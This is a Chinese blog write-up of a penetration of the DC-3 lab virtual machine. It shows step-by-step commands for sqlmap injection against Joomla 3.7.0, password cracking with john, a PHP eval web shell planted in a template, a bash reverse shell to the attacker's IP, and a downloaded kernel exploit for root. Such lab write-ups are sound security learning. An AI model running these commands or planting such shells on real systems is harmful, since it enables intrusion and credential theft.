title: DC-3靶机渗透详解
date: 2022-1-2 10 :52 :36
tags: DC系列靶机
categories: 学习笔记
author: Abyssaler
DC-3靶机渗透全流程
一:实验环境
攻击机:kali2022(192.168.2.103)
靶机:dc-3(192.168.2.102)
二:信息收集
主机发现
netdiscover -i eth0 -r 192.168.2.0/24
发现目标主机
端口扫描
masscan --rate=100000 -p 0-65535 192.168.2.102
没有扫描出结果
nmap -T4 -sV -O -A -p- 192.168.2.102
-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(全部端口)
扫描出一个结果
可以看到开启了80端口
访问web页面
访问192.168.2.102:80页面
欢迎来到dc -3.
这次,只有一面旗帜,一个入口,没有任何线索。
要获得该标志,显然必须获得根权限。
你如何成为根,取决于你自己,当然,也取决于系统。
祝你好运,我希望你享受这个小小的挑战
发现一个登录界面,经过尝试发现sql注入,暴力破解都没用
目录发现
dirsearch -u http://192.168.2.102/ -e*
通过目录扫描发现了很多路径,访问看看
http://192.168.2.102/administrator
页面信息收集
通过插件发现cms是joomia和wordpress
通过查询得知有一个专门扫描joomla的工具joomscan
kali里面安装joomscan工具的命令是apt-get install joomscan
joomscan --url http://192.168.2.102
开始扫描
发现cms信息
三:渗透测试
漏洞发现
用searchsploit搜索有无历史漏洞
searchsploit Joomla 3.7.0
可以看到有一个sql注入漏洞能够利用
漏洞利用
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
查看漏洞文件[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QZumkOWI-1672662943328)(C:\Users\Admin\AppData\Roaming\Typora\typora-user-images\image-20230102114628073.png)]
可以看到sqlmap的payload参数
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
修改一下IP地址应该就能用了
payload
sqlmap -u "http://192.168.2.102/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
成功爆出库名
猜测我们要的数据在joomladb库里
爆表名
sqlmap -u "http://192.168.2.102/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
成功爆出表名,注意到有一个表名非常敏感**#_users**
爆字段
sqlmap -u "http://192.168.2.102/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
成功爆出字段名
继续爆破数据
sqlmap -u "http://192.168.2.102/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C id,nmae,password,username --dump -p list[fullordering]
发现一个加密账号
我们可以用若干方法进行解密,经过上网查询,发现可以用kali的john进行解密
john
John the Ripper
是一款大受欢迎的、免费的开源软件。也是一个基于字典的快速破解密码的工具,是一款用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如 DES
、 MD4
、 MD5
等。 John the Ripper
支持字典破解方式和暴力破解方式。它支持多种不同类型的系统架构,包括 Unix
、 Linux
、 Windows
、 DOS
模式、 BeOS
和 OpenVMS
,主要目的是破解不够牢固的 Unix/Linux
系统密码
一些参考文章
https://blog.csdn.net/i_can1/article/details/107227565
https://www.cnblogs.com/HelloCTF/p/13346125.html
https://www.cnblogs.com/Junglezt/p/16048189.html
将密文放进dc-3.txt
john工具破解密码
可以看到密文是snoopy,可以登录后台了
成功登录后台
植入一句话木马
Joomla后台可编辑模板,修改源码,我们利用这个功能,在template下面创建一个 test.php,写入一句话,蚁剑成功连接
shell 路径 http://192.168.2.102/templates/beez3/111.php 密码 1
<?php @eval($_REQUEST['1']);?>
可以看到权限很低,想办法提权
反弹一个shell 到kali上(后台编辑模板时,也可直接写入反弹shell脚本,访问触发)
反弹shell命令
bash一句话为:bash -i >& /dev/tcp/ip/port 0>&1
netcat: nc -e ip port /bin/bash
这里这几个命令都不能成功,用下面这个
bash -c 'bash -i >& /dev/tcp/192.168.2.103/444 0>&1'
成功拿到shell
提权
查看内核版本信息
lsb_release -a
查询到目标靶机对应版本为 Ubuntu 16.04
我们使用searchsploit查询是否有这个版本的漏洞
searchsploit Ubuntu 16.04
查询到了很多有关的漏洞。这里我们使用39772进行提权
提权思路:靶机上面是没有这个文件的,所以我们需要把这个文件cp到本地,再在kali渗透机上面搭建一个简易的服务器,操纵靶机下载这个文件并执行,拿到靶机root权限。
查看文件
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
查看漏洞介绍,并下载exp
在得到的shell里下载并执行
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
因为国内无法访问github所以一直失败,只能另寻他法
开启kali的apache2服务:service apache2 start
将文件复制到网页目录下:cp -r 39772 /var/www/html
在靶机执行命令 wget http://192.168.2.103/39772.zip
下载成功
解压39772.zip文件unzip 39772.zip
cd 39772
解压exploit提权脚本tar包tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
执行脚本,编译文件./compile.sh
紧接着执行提权文件./doubleput
成功提权至root
找到flag